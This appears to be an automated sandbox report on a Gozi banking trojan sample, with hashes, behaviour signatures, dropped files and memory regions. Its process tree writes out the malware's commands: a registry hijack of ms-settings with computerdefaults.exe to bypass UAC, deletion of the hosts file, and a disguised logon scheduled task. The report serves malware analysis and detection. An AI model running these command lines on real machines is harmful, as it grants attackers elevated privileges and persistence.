Analysis

  • max time kernel
    150s
  • max time network
    141s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    30-05-2024 21:51

General

  • Target

    easfawefawfas.exe

  • Size

    12KB

  • MD5

    2813b6e3ed4bd6b14c53e3dffcdff21d

  • SHA1

    5ac7c7a3dadde70f94810c608a2eb275f14b7bde

  • SHA256

    866c0294731f195b0b9efa4f9b7cac352e8de5121f63a458a75efed3a625d24a

  • SHA512

    ff2454992a5fbe5c8cfab149ebd5edaa089ab4f25b88a47c5da0348575a72f1de372c8e762f74f284070a7a2e1209202ca755b4c08dd99799ac5bb9a598e0a24

  • SSDEEP

    192:LsNqFnJvOXdub8t6QP+TXVKTl1hAKje2Ecp0Gun8JZcxZQF:LsNvuI6QIKTHhA8rt0nnicxo

Malware Config

Extracted

Family

gozi

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of UnmapMainImage
    PID:3376
    • C:\Users\Admin\AppData\Local\Temp\easfawefawfas.exe
      "C:\Users\Admin\AppData\Local\Temp\easfawefawfas.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1096
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\consoleitaly1826.vbs" /f
        3⤵
        • Modifies registry class
        PID:2368
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /d "0" /f
        3⤵
        • Modifies registry class
        PID:4908
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /C computerdefaults.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2956
        • C:\Windows\SysWOW64\ComputerDefaults.exe
          computerdefaults.exe
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1084
          • C:\Windows\SysWOW64\wscript.exe
            "wscript.exe" C:\Users\Admin\AppData\Local\Temp\consoleitaly1826.vbs
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1616
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C del C:\Windows\System32\drivers\etc\hosts
              6⤵
                PID:2176
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C schtasks /Create /SC ONLOGON /TN AVGUpdateService_gKwwuP9Gdga87vtVr050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Ringtones\gKwwuP9Gdga87vtVr050MX.exe" /RL HIGHEST /IT
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5112
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Create /SC ONLOGON /TN AVGUpdateService_gKwwuP9Gdga87vtVr050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Ringtones\gKwwuP9Gdga87vtVr050MX.exe" /RL HIGHEST /IT
            4⤵
            • Creates scheduled task(s)
            PID:924
        • C:\Users\Admin\AppData\Local\Temp\cqnhstgj.exe
          "C:\Users\Admin\AppData\Local\Temp\cqnhstgj.exe" explorer.exe
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1588

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\5e43d97ec67a4affab9a9e28e7fa16ca

      Filesize

      8KB

      MD5

      4c1c2bd04b242feb38f61abd6d570c83

      SHA1

      d19a35a785387f9832b8966165527dfbb95ed4f5

      SHA256

      0a60a8bfd6c30ed84e08b4ffcf21005b72e72c859707b2cf73d4461c774ca422

      SHA512

      38160789f4e236361166210f4ce759e95668d157a5380b09dbfa1c5d0e922856157a57b883491d6de716d3d8800c99c5b4770bf64026df5005324c649db5b028

    • C:\Users\Admin\AppData\Local\Temp\Costura\40BD99E3E2E3C109881E4ECA2DEDC617\32\sqlite.interop.dll

      Filesize

      1.4MB

      MD5

      6f2fdecc48e7d72ca1eb7f17a97e59ad

      SHA1

      fcbc8c4403e5c8194ee69158d7e70ee7dbd4c056

      SHA256

      70e48ef5c14766f3601c97451b47859fddcbe7f237e1c5200cea8e7a7609d809

      SHA512

      fea98a3d6fff1497551dc6583dd92798dcac764070a350fd381e856105a6411c94effd4b189b7a32608ff610422b8dbd6d93393c5da99ee66d4569d45191dc8b

    • C:\Users\Admin\AppData\Local\Temp\a0a515da0a4e447eaec76df36c65d53a

      Filesize

      46KB

      MD5

      8f5942354d3809f865f9767eddf51314

      SHA1

      20be11c0d42fc0cef53931ea9152b55082d1a11e

      SHA256

      776ecf8411b1b0167bea724409ac9d3f8479973df223ecc6e60e3302b3b2b8ea

      SHA512

      fde8dfae8a862cf106b0cb55e02d73e4e4c0527c744c20886681245c8160287f722612a6de9d0046ed1156b1771229c8950b9ac036b39c988d75aa20b7bac218

    • C:\Users\Admin\AppData\Local\Temp\consoleitaly1826.vbs

      Filesize

      171B

      MD5

      a34267102c21aff46aecc85598924544

      SHA1

      77268af47c6a4b9c6be7f7487b2c9b233d49d435

      SHA256

      eba7ab5c248e46dbe70470b41ebf25a378b4eff9ce632adff927ac1f95583d44

      SHA512

      5d320312b93b46c9051a20c82d6405a3f2c78b23adb3ab3e71aad854b65b500937de7ca2986cf79967386d689beecccf676d89afde8ecc5d5ad0cb4ae2bf38a3

    • C:\Users\Admin\AppData\Local\Temp\cqnhstgj.exe

      Filesize

      124KB

      MD5

      e898826598a138f86f2aa80c0830707a

      SHA1

      1e912a5671f7786cc077f83146a0484e5a78729c

      SHA256

      df443ccf551470b3f9f7d92faf51b3b85ae206dd08da3b6390ce9a6039b7253a

      SHA512

      6827068b8580822ded1fb8447bdb038d0e00633f5ef7f480a8cdeaab6928ac23022a0b7a925058e0926ce9b41a6c8c22a5692e074621b2fccdb7edd29a0d4cfb

    • C:\Users\Admin\AppData\Local\Temp\e25c27978bb24711a6b4be306d49c5fa

      Filesize

      130KB

      MD5

      706f84aa6d8b3bb9da023318b79b9623

      SHA1

      30945d0a042f28b5585099779065dd503e01d0f6

      SHA256

      eca4f6686ea216ac9dbb1ff46595929d77424fd97ac611b2ca5583613ff3823d

      SHA512

      c524b0fdddf756298d173d78b1f5f1b241a85a3bb3206f12e2dfa33f13e8c5c5ac1a42cd76189629f4e2e5d4e134b40b6c0835a63bbe255c319c71900add9f18

    • C:\Users\Admin\AppData\Roaming\Gongle\aFQLFME6FX\CURRENT

      Filesize

      16B

      MD5

      46295cac801e5d4857d09837238a6394

      SHA1

      44e0fa1b517dbf802b18faf0785eeea6ac51594b

      SHA256

      0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

      SHA512

      8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

    • C:\Users\Admin\AppData\Roaming\Gongle\aFQLFME6FX\LOG

      Filesize

      332B

      MD5

      5db0485187f46c5d14f836c1a175ca67

      SHA1

      d095b3b66ae632b0b4131a64870c6b40e2d8d5a9

      SHA256

      ab82cd7a15727cb85a2738bf848756832a8e18892745ac432fe5512b4e5c44f6

      SHA512

      fbc1cb7f252dfd14ac3f2fe76524e5a3d7bab7b78a383c27f7aceb93a52ebf23ede2d9d5b1ae62f3660bfa000ab8c651f39deabf753e070337ea574938e91a32

    • C:\Users\Admin\AppData\Roaming\Gongle\aFQLFME6FX\LOG.old

      Filesize

      289B

      MD5

      03ca1e8844cc13f58e931ff9002df981

      SHA1

      b009dbb8e018c984e8abcbc10556bfd52e4bc3ab

      SHA256

      1e1bd5fbe460c96a2d484a7857ca8b01f52371a582bbedc55c0edd0c116fdbd8

      SHA512

      685c93f2f083af368b207ccb372192c548ee60144dbfdf3fcb6b12812123c6d3784113a9d0292d36202693ef93c826cf489a57d5025dbad4ada15c3cf1cf2a5d

    • C:\Users\Admin\AppData\Roaming\Gongle\aFQLFME6FX\MANIFEST-000001

      Filesize

      41B

      MD5

      5af87dfd673ba2115e2fcf5cfdb727ab

      SHA1

      d5b5bbf396dc291274584ef71f444f420b6056f1

      SHA256

      f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

      SHA512

      de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

    • C:\Users\Admin\AppData\Roaming\Gongle\aOLJ8S4JMG\9w3t05jh.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite

      Filesize

      48KB

      MD5

      c4bd5f223f1b929d68595db3263bbd00

      SHA1

      5021fe6a141a9fed6cb7542061aab8ea8ff41e04

      SHA256

      e4919c02d23e21739cfb5d952ff4b96441f5d6241c51428830c6a605f95f7d62

      SHA512

      71b7afa4f5df17f9b8eeea172747a740731a888b83c1fd2b7a01854d7b0ff6367b02d47591cffdd3c863fe5bc8edc254e1bc0ad95af918cca5b1635593d60e2c

    • C:\Users\Admin\AppData\Roaming\Gongle\aPA2F4E17K\LOG

      Filesize

      334B

      MD5

      8bdc8f30db400a25c54e92ed6f4ae4ef

      SHA1

      189c7de1ca3ca1ca6c5ab56c9d9903370036c703

      SHA256

      bdea2878fa73d9d8c825fe073a68e5c486eed44ec33771357eb16bea4cb4c44e

      SHA512

      09d86fc94c2c43bc6fddc610907c13d912745ac67c1b640031ef049fb913b3f011039be51ee8517c512f4ee90b4ce2e4a77e1f652ce48a917c1d172a4e55cad0

    • C:\Users\Admin\AppData\Roaming\Gongle\aPA2F4E17K\LOG.old

      Filesize

      293B

      MD5

      03b792660c1979b6058c4ccec5719f6c

      SHA1

      1a3d9a38bbb33e957bb777b96c3029652d959bae

      SHA256

      4df89ec174ca74b05807f7745a2a58b346096fe7870c7f67510abd85e432e430

      SHA512

      419e87538b635ab0327759a5dea0a9d948e09ba2e11390c40a0bc25f51f57b6423b1c9ff3d54a18c7ce80a9346e0779ecb4b2a6e1074129df0e006e623b09575

    • memory/1096-42-0x00000000092B0000-0x00000000092BA000-memory.dmp

      Filesize

      40KB

    • memory/1096-5-0x0000000005F90000-0x0000000006536000-memory.dmp

      Filesize

      5.6MB

    • memory/1096-1-0x0000000000F20000-0x0000000000F2C000-memory.dmp

      Filesize

      48KB

    • memory/1096-200-0x000000000EE20000-0x000000000EE2A000-memory.dmp

      Filesize

      40KB

    • memory/1096-2-0x0000000005830000-0x000000000584A000-memory.dmp

      Filesize

      104KB

    • memory/1096-3-0x0000000003180000-0x000000000318A000-memory.dmp

      Filesize

      40KB

    • memory/1096-39-0x0000000008280000-0x0000000008292000-memory.dmp

      Filesize

      72KB

    • memory/1096-40-0x0000000006CF0000-0x0000000006D56000-memory.dmp

      Filesize

      408KB

    • memory/1096-41-0x0000000003220000-0x000000000322A000-memory.dmp

      Filesize

      40KB

    • memory/1096-0-0x0000000074B0E000-0x0000000074B0F000-memory.dmp

      Filesize

      4KB

    • memory/1096-43-0x0000000009290000-0x000000000929C000-memory.dmp

      Filesize

      48KB

    • memory/1096-44-0x000000000A6D0000-0x000000000A6D8000-memory.dmp

      Filesize

      32KB

    • memory/1096-13-0x0000000013330000-0x0000000013FD2000-memory.dmp

      Filesize

      12.6MB

    • memory/1096-12-0x0000000074B00000-0x00000000752B1000-memory.dmp

      Filesize

      7.7MB

    • memory/1096-11-0x0000000074B0E000-0x0000000074B0F000-memory.dmp

      Filesize

      4KB

    • memory/1096-10-0x000000000B5B0000-0x000000000C1B0000-memory.dmp

      Filesize

      12.0MB

    • memory/1096-6-0x0000000074B00000-0x00000000752B1000-memory.dmp

      Filesize

      7.7MB

    • memory/1096-186-0x000000000B550000-0x000000000B571000-memory.dmp

      Filesize

      132KB

    • memory/1096-4-0x0000000005940000-0x00000000059D2000-memory.dmp

      Filesize

      584KB

    • memory/1096-174-0x000000000AEA0000-0x000000000AF52000-memory.dmp

      Filesize

      712KB

    • memory/1096-175-0x000000000AF50000-0x000000000AF72000-memory.dmp

      Filesize

      136KB

    • memory/1096-176-0x000000000B000000-0x000000000B076000-memory.dmp

      Filesize

      472KB

    • memory/1096-177-0x000000000AFA0000-0x000000000AFBE000-memory.dmp

      Filesize

      120KB

    • memory/1096-178-0x000000000B0D0000-0x000000000B120000-memory.dmp

      Filesize

      320KB

    • memory/1096-179-0x000000000B120000-0x000000000B18A000-memory.dmp

      Filesize

      424KB

    • memory/1096-180-0x000000000B190000-0x000000000B4E7000-memory.dmp

      Filesize

      3.3MB

    • memory/1096-181-0x000000000B4F0000-0x000000000B53C000-memory.dmp

      Filesize

      304KB

    • memory/1096-185-0x000000000EDB0000-0x000000000EDEC000-memory.dmp

      Filesize

      240KB

    • memory/3376-29-0x0000000000750000-0x0000000000751000-memory.dmp

      Filesize

      4KB

    • memory/3376-33-0x0000000000730000-0x0000000000738000-memory.dmp

      Filesize

      32KB

    • memory/3376-32-0x0000000000730000-0x0000000000738000-memory.dmp

      Filesize

      32KB

    • memory/3376-30-0x0000000000730000-0x0000000000738000-memory.dmp

      Filesize

      32KB

    • memory/3376-28-0x0000000000730000-0x0000000000738000-memory.dmp

      Filesize

      32KB